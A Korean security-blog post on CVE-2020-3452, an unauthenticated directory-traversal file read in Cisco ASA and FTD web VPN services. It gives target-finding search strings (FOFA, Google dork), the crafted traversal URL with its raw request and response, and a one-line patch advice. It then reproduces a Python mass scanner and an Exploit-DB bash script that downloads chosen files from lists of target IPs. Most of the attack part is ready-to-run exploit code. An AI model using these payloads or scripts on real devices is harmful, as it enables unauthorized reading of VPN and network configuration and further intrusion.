1. 개념
Cisco는 세계 1위 유선통신장비 제조사이며 네트워킹 하드웨어, 보안 서비스 등을 제공, 판매하는 미국의 다국적 기업이다.
2. 취약점 설명
Cisco ASA의 해당 취약점은 취약한 기기에서 처리되는 HTTP 요청 내 URL 입력을 적절히 검증하지 않았기 때문에 발생한다.
공격자는 변조된 URL을 이용하여 악용에 성공하면 공격자가 대상 장치의 웹 서비스 파일 시스템에 있는 모든 파일을 볼 수 있다.
FOFA: "webVpn"
3.PoC (Proof Of Concept)
1) 로그인 페이지 접근
로그인 페이지에 접근하면 URL이 http://[Target IP]/+CSCOE+/logon.html#form_title_text 인것을 확인할 수 있다.
2) URL 변조
기본 로그인 페이지 URL을 악의적인 URL로 변경 후 Request 한다.
2.1) 변조된 URL
https://[Target IP]/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default- language&lang=../portal_inc.lua&default-language&lang=../ |
요청을 완료하면 translation-table이라는 파일을 다운로드할 수 있다.
다운로드한 파일을 메모장으로 확인해보면 장치의 내부 파일을 열람할 수 있는 것을 확인할 수 있다.
해당 취약점은 쓰기, 삭제 권한은 없고 읽기 권한만 부여된다고 Nuspire의 보안 분석가인 Josh Smith가 말하였지만, 권한 없이 장치의 임의 파일을 읽을 수 있다는 것은 파일 다운로드 취약점이 존재하는 것이고 이 취약점을 통해 VPN구성 또는 네트워크 구성을 다운로드할 경우 해당 내용을 통해 더욱더 악의적인 공격을 수행할 가능성이 존재한다.
해당 패킷을 Burpsuite로 확인해보면 다음과 같다.
2.2) Request Payload
GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default- language&lang=../portal_inc.lua&default-language&lang=../ Host: 1.1.1.1 Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 |
2.3) Response Payload
HTTP/1.1 200 OK Content-Type: application/octet-stream Cache-Control: no-cache Pragma: no-cache Connection: Keep-Alive Date: Sat, 03 Oct 2020 22:29:08 GMT X-Frame-Options: SAMEORIGIN Content-Length: 27555 -- Copyright (C) 2006-2018 by Cisco Systems, Inc. |
4. 대응 방안
최신 펌웨어로 업데이트를 수행하면 해당 URL로 접근해도 파일을 다운로드할 수 없다.
5. Exploit Code
파이썬을 이용하여 해당 기기를 쓰는 URL를 대량으로 조회하여 취약점이 있는지 확인이 가능하다.
해당 scanner.py는 github에서 받아서 사용하였다.
#git clone https://github.com/PR3R00T/CVE-2020-3452-Cisco-Scanner.git #chmod + x scanner.py URL https://127.0.0.1 형식으로 urls.txt 파일을 수정한다. #python3 ./scanner.py urls.txt |
1) scanner.py
#!/usr/bin/env python
import requests
import sys
import string
from urllib.parse import quote
requests.packages.urllib3.disable_warnings()
def list_urls(file_urls):
with open(file_urls, 'r') as content_file:
content = content_file.readlines()
content = [x.strip() for x in content]
return content
def main(file_urls):
urls = list_urls(file_urls)
for url in urls:
try:
session = requests.Session()
url_withpayload = url + "/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
response = session.get(url_withpayload, verify=False)
if response.text != 'File not found':
print(url + '\033[1;31;40m Vulnerable \033[0m')
else:
print(url + ' - Not Vulnerable')
except:
print(url + ' - URL Parse failed')
if __name__ == '__main__':
file_urls = sys.argv[1]
main(file_urls)
2) Exploit-DB Code
Exploit-DB 및 패킷 스톰에도 PoC 코드가 존재하여 추가로 작성하였다.
# Exploit Title: Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author: 0xmmnbassel
# Vendor Homepage: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
# Version: Cisco ASA Software >=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file read
# CVE: CVE-2020-3452
#!/bin/bash
read="%2bCSCOE%2b/portal_inc.lua"
helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3452"
echo ""
echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
echo -e "\t-i for single IP test"
exit 1
}
while getopts "l:r:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
r ) read="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done
#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi
#usage
if [ -z "$website"];
then
while IFS= read -r line
do
name=$(echo $line | cut -c9-19)
#echo "testing $line"
filename="$name.txt"
#echo $response
status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "400" ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
wget "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
echo "downloaded!, $line is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi
done < "$input"
else
name=$(echo $website | cut -c9-16)
filename="$name.txt"
status=$(curl -LI $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "Bad Request" ]; then
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
wget "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "downloaded!, $website is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi
fi
[참고]
PoC: github.com/PR3R00T/CVE-2020-3452-Cisco-Scanner
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Citrix ADC and Gateway RCE Vulnerability (CVE-2019-19781) (2) | 2021.02.20 |
---|---|
FortiOS SSL VPN Directory Traversal Vulnerability (CVE-2018-13379) (0) | 2020.12.16 |
Netgear_WGR614v10 Authentication bypass Vulnerability (CVE-2017-5521) (0) | 2020.10.04 |
NetGear_DGN2200 ping.cgi RCE Vulnerability (CVE-2017-6077) (0) | 2020.10.03 |
DrayTek Vigor RCE Vulnerability (CVE-2020-8515) (3) | 2020.10.03 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊